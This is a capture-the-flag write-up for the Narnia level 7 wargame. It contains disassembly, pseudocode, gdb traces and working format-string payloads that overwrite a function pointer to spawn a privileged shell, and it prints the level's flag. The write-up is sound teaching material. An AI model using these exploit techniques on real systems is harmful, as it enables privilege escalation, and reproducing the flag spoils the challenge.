Writeup
We have 4 funcionts in the program vuln
, main
, goodfunction
, hackedfunction
.
Main :
/ (fcn) sym.main 64
| int sym.main (int argc, char **argv, char **envp);
| ; arg signed int argc @ ebp+0x8
| ; arg char **argv[] @ ebp+0xc
| 0x080486bf push ebp
| 0x080486c0 mov ebp, esp
| 0x080486c2 cmp dword [argc], 1 ; CHECK IF THE NUMBER OF ARGUMENTS ARE MORE THAN 1
| ,=< 0x080486c6 jg 0x80486e8 ; IF THERE ARE 0 ARGUMENTS THEN ERROR
| | 0x080486c8 mov eax, dword [argv[]] ; [0xc:4]=-1 ; 12
| | 0x080486cb mov edx, dword [eax]
| | 0x080486cd mov eax, dword [obj.stderr] ; obj.__TMC_END ; [0x8049b90:4]=0
| | 0x080486d2 push edx
| | 0x080486d3 push str.Usage:__s__buffer ; 0x804886a ; "Usage: %s <buffer>\n" ; const char *format
| | 0x080486d8 push eax ; FILE *stream
| | 0x080486d9 call sym.imp.fprintf ; int fprintf(FILE *stream, const char *format, ...)
| | 0x080486de add esp, 0xc
| | 0x080486e1 push 0xffffffffffffffff ; int status
| | 0x080486e3 call sym.imp.exit ; void exit(int status)
| `-> 0x080486e8 mov eax, dword [argv[]] ; argv[0]
| 0x080486eb add eax, 4 ; TAKE ARGV[1]
| 0x080486ee mov eax, dword [eax]
| 0x080486f0 push eax
| 0x080486f1 call sym.vuln ; CALL VULN WITH ARGV[1]
| 0x080486f6 add esp, 4
| 0x080486f9 push eax ; int status
\ 0x080486fa call sym.imp.exit ; void exit(int status)
Vuln :
/ (fcn) sym.vuln 164
| sym.vuln (char *format);
| ; var void *func() @ ebp-0x84 ;int *(func)()
| ; var char *buffer @ ebp-0x80 ;char buffer[128]
| ; arg char *format @ ebp+0x8 ;format (input)
| 0x0804861b push ebp
| 0x0804861c mov ebp, esp
| 0x0804861e sub esp, 0x84
| 0x08048624 push 0x80 ; 128 = (sizeof(buffer))
| 0x08048629 push 0 ; int c
| 0x0804862b lea eax, [buffer]
| 0x0804862e push eax ; void *buffer
| 0x0804862f call sym.imp.memset ; Zeroize all buffer => void *memset(void *s, int c, size_t n)
| 0x08048634 add esp, 0xc
| 0x08048637 push sym.goodfunction ; 0x80486ff ; "U\x89\xe5h\x80\x88\x04\b\xe8\x84\xfd\xff\xff\x83\xc4\x04\xa1\x94\x9b\x04\bP\xe8F\xfd\xff\xff\x83\xc4\x04\xb8"
| 0x0804863c push str.goodfunction______p ; 0x80487f0 ; "goodfunction() = %p\n" ; const char *format
| 0x08048641 call sym.imp.printf ; int printf("goodfunction()=%p\n",goodfunction)
| 0x08048646 add esp, 8
| 0x08048649 push sym.hackedfunction ; 0x8048724 ; "U\x89\xe5Sh\xbd\x88\x04\b\xe8\x1e\xfd\xff\xff\x83\xc4\x04\xa1\x94\x9b\x04\bP\xe8 \xfd\xff\xff\x83\xc4\x04\xe88\xfd\xff\xff\x89\xc3\xe81\xfd\xff\xffSP\xe8j\xfd\xff\xff\x83\xc4\bh\u02c8\x04\b\xe8=\xfd\xff\xff\x83\xc4\x04\xb8"
| 0x0804864e push str.hackedfunction______p ; 0x8048805 ; "hackedfunction() = %p\n\n" ; const char *format
| 0x08048653 call sym.imp.printf ; int printf(hackedfunction()=%p\n",hackedfunction)
| 0x08048658 add esp, 8
| 0x0804865b mov dword [func()], sym.goodfunction ; func=goodfunction;
| 0x08048665 mov eax, dword [func()]
| 0x0804866b lea edx, [func()]
| 0x08048671 push edx
| 0x08048672 push eax
| 0x08048673 push str.before_:_ptrf______p___p ; 0x804881d ; "before : ptrf() = %p (%p)\n" ; const char *format
| 0x08048678 call sym.imp.printf ; int printf(before : ptrf() = %p (%p)\n",func(),&func())
| 0x0804867d add esp, 0xc
| 0x08048680 push str.I_guess_you_want_to_come_to_the_hackedfunction... ; 0x8048838 ;
| 0x08048685 call sym.imp.puts ; int puts(const char buffer)
| 0x0804868a add esp, 4
| 0x0804868d push 2 ; 2 ; int s
| 0x0804868f call sym.imp.sleep ; int sleep(2)
| 0x08048694 add esp, 4
| 0x08048697 mov dword [func()], sym.goodfunction ; func=goodfunction
| 0x080486a1 push dword [format] ; const char *format
| 0x080486a4 push 0x80 ; 128 => sizeof(bbuffer)
| 0x080486a9 lea eax, [buffer]
| 0x080486ac push eax ; push *buffer
| 0x080486ad call sym.imp.snprintf ; int snprintf(buffer, 128, argv[1])
| 0x080486b2 add esp, 0xc
| 0x080486b5 mov eax, dword [func()]
| 0x080486bb call eax
| 0x080486bd leave
\ 0x080486be ret
goodfunction:
/ (fcn) sym.goodfunction 37
| sym.goodfunction ();
| 0x080486ff push ebp
| 0x08048700 mov ebp, esp
| 0x08048702 push str.Welcome_to_the_goodfunction__but_i_said_the_Hackedfunction.. ; 0x8048880 ; "Welcome to the goodfunction, but i said the Hackedfunction.." ; const char *s
| 0x08048707 call sym.imp.puts ; int puts(const char *s)
| 0x0804870c add esp, 4
| 0x0804870f mov eax, dword [obj.stdout] ; obj.stdout__GLIBC_2.0 ; [0x8049b94:4]=0
| 0x08048714 push eax ; FILE *stream
| 0x08048715 call sym.imp.fflush ; int fflush(FILE *stream)
| 0x0804871a add esp, 4
| 0x0804871d mov eax, 0
| 0x08048722 leave
\ 0x08048723 ret
hackedfunction:
/ (fcn) sym.hackedfunction 76
| sym.hackedfunction ();
| ; var int var_4h @ ebp-0x4
| 0x08048724 push ebp
| 0x08048725 mov ebp, esp
| 0x08048727 push ebx
| 0x08048728 push str.Way_to_go ; 0x80488bd ; "Way to go!!!!" ; const char *format
| 0x0804872d call sym.imp.printf ; int printf(const char *format)
| 0x08048732 add esp, 4
| 0x08048735 mov eax, dword [obj.stdout] ; obj.stdout__GLIBC_2.0 ; [0x8049b94:4]=0
| 0x0804873a push eax ; FILE *stream
| 0x0804873b call sym.imp.fflush ; int fflush(FILE *stream)
| 0x08048740 add esp, 4
| 0x08048743 call sym.imp.geteuid ; uid_t geteuid(void)
| 0x08048748 mov ebx, eax
| 0x0804874a call sym.imp.geteuid ; uid_t geteuid(void)
| 0x0804874f push ebx
| 0x08048750 push eax
| 0x08048751 call sym.imp.setreuid
| 0x08048756 add esp, 8
| 0x08048759 push str.bin_sh ; 0x80488cb ; "/bin/sh" ; const char *string
| 0x0804875e call sym.imp.system ; int system(const char *string)
| 0x08048763 add esp, 4
| 0x08048766 mov eax, 0
| 0x0804876b mov ebx, dword [var_4h]
| 0x0804876e leave
\ 0x0804876f ret
pseudocode generated by myself (could be wrong):
int goodfunction()
{
puts("welcome to goodfunction,but I sad hackedfunction");
return 0;
}
int hackedfunction()
{
puts("way to go");
setreuid(getuid(),getuid()); //classic
system("/bin/sh");
return 0;
}
int vuln(char *format)
{
int (*func)();
char buffer[128];
memset(buffer,0,sizeof(buffer));
printf("goodfunction = %p\n",goodfunction);
printf("hackedfunction=%p\n",hackedfunction);
func=goodfunction;
printf("before : func() = %p (%p)\n",func,&func);
puts("i guess you want to come to hackedfunction");
sleep(2);
func=goodfunction;
snprintf(buffer,sizeof(buffer),format);
func();
return 0;
}
int main(int argc,char *argv[],char **environment)
{
if(argc<=1)
{
puts("error");
exit(-1);
}
vuln(argv[1]);
exit();
}
As in narnia5 we can calculate in what arguments the buffer is when snprintf
is called. This time we are using gdb
:
(gdb) b *0x080486ad
Breakpoint 1 at 0x80486ad
(gdb) r $(python -c 'print "AAAA"+"%08x."*10')
Starting program: /narnia/narnia7 $(python -c 'print "AAAA"+"%08x."*10')
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffd5f8)
I guess you want to come to the hackedfunction...
Breakpoint 1, 0x080486ad in vuln ()
(gdb) x/20x $esp //When snprintf is called
0xffffd5ec: 0xffffd5fc 0x00000080 0xffffd866 0x080486ff
0xffffd5fc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd60c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd61c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd62c: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) n
0x080486b2 in vuln ()
(gdb) x/20x $esp //When snprintf has been executed
0xffffd5ec: 0xffffd5fc 0x00000080 0xffffd866 0x080486ff
0xffffd5fc: 0x41414141 0x34303830 0x66663638 0x3431342e
0xffffd60c: 0x34313431 0x34332e31 0x38333033 0x362e3033
0xffffd61c: 0x33363636 0x2e383336 0x31333433 0x65323433
0xffffd62c: 0x3334332e 0x33343331 0x34332e31 0x65323333
We can see that our buffer is in the address 0xffffd5fc
and that the func
address is in 0xfffffd5f8
. When we use as argument $(python -c 'print "AAAA"+"%08x."*10')
the string AAAA
is written in the second argument of the snprintf
. The payload to change the value of func
will be:
{[4 bytes(address of func)]+"%[0x8048724(in decimal)-4]x"+"%[offset]$n"}
narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print "\x48\xd6\xff\xff"+"%134514468x"+"%2$n"')
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffd648)
I guess you want to come to the hackedfunction...
Way to go!!!!$
Yeah we did it. Another way is to use the magic table to write 4 bytes into a specific address. Resources gray-hat-hacking.
Payload
$(python -c 'print "\x4a\xd5\xff\xff\x48\xd5\xff\xff"')%.2044x%2\$hn%.32544x%3\$hn
Flag:
mohthuphog